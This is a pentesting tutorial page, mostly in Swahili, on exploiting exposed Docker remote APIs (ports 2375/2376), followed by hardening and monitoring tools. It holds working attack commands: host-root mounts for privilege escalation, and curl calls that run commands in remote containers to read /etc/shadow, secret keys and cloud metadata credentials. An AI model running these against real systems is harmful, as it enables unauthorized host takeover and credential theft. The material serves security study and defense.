hacktricks/network-services-pentesting/2375-pentesting-docker.md

# 2375, 2376 Pentesting Docker

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### Msingi wa Docker

#### Nini

Docker ni **jukwaa la mbele** katika **sekta ya uundaji wa kontena**, likiongoza **uvumbuzi endelevu**. Inarahisisha uundaji na usambazaji wa programu, kuanzia **za jadi hadi za kisasa**, na kuhakikisha **kuwekwa salama** kwao katika mazingira mbalimbali.

#### Msingi wa usanifu wa docker

* [**containerd**](http://containerd.io): Hii ni **muda wa msingi** kwa ajili ya kontena, ikihusika na **usimamizi wa maisha ya kontena** kwa kina. Hii inajumuisha kushughulikia **uhamishaji na uhifadhi wa picha**, pamoja na kusimamia **utekelezaji, ufuatiliaji, na mtandao** wa kontena. **Maelezo zaidi** kuhusu containerd yanapatikana **hapa**.
* **container-shim** ina jukumu muhimu kama **kiunganishi** katika kushughulikia **kontena zisizo na kichwa**, ikichukua nafasi kutoka **runc** baada ya kontena kuanzishwa.
* [**runc**](http://runc.io): Inajulikana kwa uwezo wake wa **muda wa kontena mwepesi na wa ulimwengu wote**, runc inafanana na **kiwango cha OCI**. Inatumika na containerd ku **anzisha na kusimamia kontena** kulingana na **miongozo ya OCI**, ikiwa imekua kutoka kwa **libcontainer** ya awali.
* [**grpc**](http://www.grpc.io) ni muhimu kwa **kuwezesha mawasiliano** kati ya containerd na **docker-engine**, kuhakikisha **mawasiliano bora**.
* [**OCI**](https://www.opencontainers.org) ni muhimu katika kudumisha **viwango vya OCI** kwa muda wa utekelezaji na picha, huku toleo jipya la Docker likiwa **linakidhi viwango vya picha na muda wa utekelezaji wa OCI**.

#### Amri za msingi
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache
```
#### Containerd

**Containerd** ilitengenezwa mahsusi kutumikia mahitaji ya majukwaa ya kontena kama **Docker na Kubernetes**, miongoni mwa mengine. Inalenga **kurahisisha utekelezaji wa kontena** katika mifumo mbalimbali ya uendeshaji, ikiwa ni pamoja na Linux, Windows, Solaris, na mengine, kwa kubainisha kazi maalum za mfumo wa uendeshaji na wito wa mfumo. Lengo la Containerd ni kujumuisha tu vipengele muhimu vinavyohitajika na watumiaji wake, ikijitahidi kuondoa vipengele visivyohitajika. Hata hivyo, kufikia lengo hili kikamilifu kunatambuliwa kuwa changamoto.

Uamuzi muhimu wa muundo ni kwamba **Containerd haitunza mtandao**. Mtandao unachukuliwa kuwa kipengele muhimu katika mifumo iliyosambazwa, ikiwa na changamoto kama vile Software Defined Networking (SDN) na ugunduzi wa huduma ambazo zinatofautiana sana kutoka jukwaa moja hadi jingine. Kwa hivyo, Containerd inacha masuala ya mtandao yachukuliwe na majukwaa inayoyasaidia.

Wakati **Docker inatumia Containerd** kuendesha kontena, ni muhimu kutambua kwamba Containerd inasaidia tu sehemu ya kazi za Docker. Kwa hakika, Containerd haina uwezo wa usimamizi wa mtandao ulio katika Docker na haisaidii kuunda makundi ya Docker moja kwa moja. Tofauti hii inaonyesha jukumu lililokusanywa la Containerd kama mazingira ya utekelezaji wa kontena, ikitenga kazi maalum zaidi kwa majukwaa inayounganisha nayo.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
#### Podman

**Podman** ni injini ya kontena ya chanzo wazi inayofuata viwango vya [Open Container Initiative (OCI)](https://github.com/opencontainers), iliyotengenezwa na kudumishwa na Red Hat. Inajitofautisha na Docker kwa sifa kadhaa tofauti, hasa **muundo wake usio na daemon** na msaada wa **kontena zisizo na mizizi**, ikiruhusu watumiaji kuendesha kontena bila ruhusa za mizizi.

Podman imeundwa kuwa na ufanisi na API ya Docker, ikiruhusu matumizi ya amri za Docker CLI. Ufanisi huu unapanuka hadi kwenye mfumo wake wa ikolojia, ambao unajumuisha zana kama **Buildah** kwa ajili ya kujenga picha za kontena na **Skopeo** kwa ajili ya operesheni za picha kama vile push, pull, na inspect. Maelezo zaidi kuhusu zana hizi yanaweza kupatikana kwenye [ukurasa wao wa GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).

**Tofauti Muhimu**

* **Muundo**: Tofauti na mfano wa mteja-server wa Docker wenye daemon ya nyuma, Podman inafanya kazi bila daemon. Muundo huu unamaanisha kwamba kontena zinaendesha kwa ruhusa za mtumiaji anayezianzisha, kuboresha usalama kwa kuondoa hitaji la ufikiaji wa mizizi.
* **Ushirikiano wa Systemd**: Podman inashirikiana na **systemd** ili kudhibiti kontena, ikiruhusu usimamizi wa kontena kupitia vitengo vya systemd. Hii inatofautiana na matumizi ya Docker ya systemd hasa kwa ajili ya kusimamia mchakato wa daemon wa Docker.
* **Kontena zisizo na mizizi**: Sifa muhimu ya Podman ni uwezo wake wa kuendesha kontena chini ya ruhusa za mtumiaji anayezianzisha. Njia hii inapunguza hatari zinazohusiana na uvunjaji wa kontena kwa kuhakikisha kwamba washambuliaji wanapata tu ruhusa za mtumiaji aliyeathirika, si ufikiaji wa mizizi.

Njia ya Podman inatoa mbadala salama na rahisi kwa Docker, ikisisitiza usimamizi wa ruhusa za mtumiaji na ufanisi na mifumo iliyopo ya kazi ya Docker.

{% hint style="info" %}
Kumbuka kwamba kwa kuwa podman inakusudia kusaidia API sawa na docker, unaweza kutumia amri sawa na podman kama na docker kama:
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}

### Taarifa za Msingi

Remote API inafanya kazi kwa default kwenye bandari 2375 wakati imewezeshwa. Huduma kwa default haitahitaji uthibitisho, ikiruhusu mshambuliaji kuanzisha kontena la docker lenye mamlaka. Kwa kutumia Remote API mtu anaweza kuunganisha mwenyeji / (directory ya mzizi) kwenye kontena na kusoma/kandika faili za mazingira ya mwenyeji.

**Bandari ya default:** 2375
```
PORT    STATE SERVICE
2375/tcp open  docker
```
### Enumeration

#### Manual

Kumbuka kwamba ili kuhesabu API ya docker unaweza kutumia amri ya `docker` au `curl` kama katika mfano ufuatao:
```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683
```
Ikiwa unaweza **kuwasiliana na API ya docker ya mbali kwa kutumia amri ya `docker`** unaweza **kutekeleza** yoyote ya **docker** [**amri zilizozungumziwa hapo awali**](2375-pentesting-docker.md#basic-commands) ili kuingiliana na huduma hiyo.

{% hint style="info" %}
Unaweza `export DOCKER_HOST="tcp://localhost:2375"` na **kuepuka** kutumia parameter ya `-H` pamoja na amri ya docker
{% endhint %}

**Kuongeza mamlaka haraka**
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**

Wakati mwingine utaona **2376** ikifanya kazi kwa **TLS** endpoint. Sijawahi kuweza kuungana nayo kwa mteja wa docker lakini inawezekana kufanya hivyo kwa curl.
```bash
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
Ikiwa unataka maelezo zaidi kuhusu hili, maelezo zaidi yanapatikana mahali nilipokopa amri hizo: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)

#### Otomatiki
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
### Compromising

In the following page you can find ways to **escape from a docker container**:

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}

Kwa kutumia hii inawezekana kutoroka kutoka kwenye kontena, unaweza kuendesha kontena dhaifu kwenye mashine ya mbali, kutoroka kutoka kwake, na kuathiri mashine:
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)

### Kuinua Mamlaka

Ikiwa uko ndani ya mwenyeji anayetumia docker, unaweza [**kusoma habari hii kujaribu kuinua mamlaka**](../linux-hardening/privilege-escalation/#writable-docker-socket).

### Kugundua siri katika kontena za Docker zinazotumika
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
Check **env** (sehemu ya mabadiliko ya mazingira) kwa siri na unaweza kupata:

* Nywila.
* Ip’s.
* Bandari.
* Njia.
* Mengine… .

If you want to extract a file:
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
### Securing your Docker

#### Securing Docker installation and usage

* Unaweza kutumia chombo [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) kukagua usakinishaji wako wa docker wa sasa.
* `./docker-bench-security.sh`
* Unaweza kutumia chombo [https://github.com/kost/dockscan](https://github.com/kost/dockscan) kukagua usakinishaji wako wa docker wa sasa.
* `dockscan -v unix:///var/run/docker.sock`
* Unaweza kutumia chombo [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) kuangalia mamlaka ambayo kontena litakuwa nayo linapokimbizwa kwa chaguzi tofauti za usalama. Hii ni muhimu kujua athari za kutumia baadhi ya chaguzi za usalama kuendesha kontena:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`

#### Securing Docker Images

* Unaweza kutumia picha ya docker ya [https://github.com/quay/clair](https://github.com/quay/clair) kufanya iweze kukagua picha zako nyingine za docker na kupata udhaifu.
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`

#### Securing Dockerfiles

* Unaweza kutumia chombo [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) ili **kukagua Dockerfile yako** na kupata aina zote za makosa ya usanidi. Kila kosa la usanidi litapewa ID, unaweza kupata hapa [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) jinsi ya kuyarekebisha.
* `dockerfilelinter -f Dockerfile`

![](<../.gitbook/assets/image (176).png>)

* Unaweza kutumia chombo [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) ili **kukagua Dockerfile yako** na kupata aina zote za makosa ya usanidi.
* `dockerfilelint Dockerfile`

![](<../.gitbook/assets/image (212).png>)

* Unaweza kutumia chombo [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) ili **kukagua Dockerfile yako** na kupata aina zote za makosa ya usanidi.
* `dockerlint Dockerfile`

![](<../.gitbook/assets/image (71).png>)

* Unaweza kutumia chombo [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) ili **kukagua Dockerfile yako** na kupata aina zote za makosa ya usanidi.
* `hadolint Dockerfile`

![](<../.gitbook/assets/image (501).png>)

#### Logging Suspicious activity

* Unaweza kutumia chombo [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) kugundua **tabia za kushangaza katika kontena zinazoendesha**.
* Kumbuka katika kipande kinachofuata jinsi **Falco inavyokusanya moduli ya kernel na kuingiza**. Baada ya hapo, inapakua sheria na **kuanza kurekodi shughuli za kushangaza**. Katika kesi hii imegundua kontena 2 zenye mamlaka yaliyanzishwa, 1 kati yao ikiwa na mlima wa nyeti, na baada ya sekunde chache imegundua jinsi shell ilifunguliwa ndani ya moja ya kontena.
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
#### Monitoring Docker

Unaweza kutumia auditd kufuatilia docker.

### References

* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)


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